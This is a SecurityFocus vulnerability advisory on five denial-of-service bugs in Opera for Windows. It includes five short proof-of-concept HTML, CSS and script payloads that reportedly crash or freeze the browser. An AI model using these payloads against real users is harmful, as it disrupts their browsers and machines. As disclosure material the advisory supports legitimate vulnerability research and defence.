source: http://www.securityfocus.com/bid/8066/info

Opera has been reported to be prone to five denial of service vulnerabilities. These issues can be triggered when the browser attempts to interpret a document with malformed code. Exploitation could cause the browser to terminate or freeze.

This issue was reported for Opera on Microsoft Windows platforms. It is not known if other releases are affected.

[ CODE 1 ]

Just 12 bytes data "<!DOCTYPE" + NULL(\x00) + 1byte + ">" makes
CPU usage go up to 100%(depending on comp specs) and the computer
gets freeze down.

-----------------------------------------------------------------
<!DOCTYPE[\x00]A>
-----------------------------------------------------------------

[ CODE 2 ]

Abnormal termination is caused.

-----------------------------------------------------------------
<form></form><script>document.forms[0].submit()</script>
-----------------------------------------------------------------

[ CODE 3 ]

Abnormal termination is caused.

-----------------------------------------------------------------
<table>
<tr id="crash" style="display:inline"><td>
<script>crash.style.display = "none";</script>
</td></tr>
</table>
-----------------------------------------------------------------

[ CODE 4 ]

Abnormal termination is caused.

-----------------------------------------------------------------
<table>
<map id="crash" style="position:absolute"></map>
<script>crash.style.height = crash.style.width = '0';</script>
</table>
-----------------------------------------------------------------

[ CODE 5 ]

CPU usage go up to 100%(depending on comp specs) and the computer gets freeze down.

-----------------------------------------------------------------
<html>
<head>
<style type="text/css">
<!--
.aaaaa:after{content:"A";display:block}
.bbbbb{display:run-in}
.ccccc{display:inline-block}
//-->
</style>
</head>
<body>
<div class="aaaaa">
<div class="bbbbb">
<div class="ccccc">
</div>
</div>
</div>
</body>
</html>
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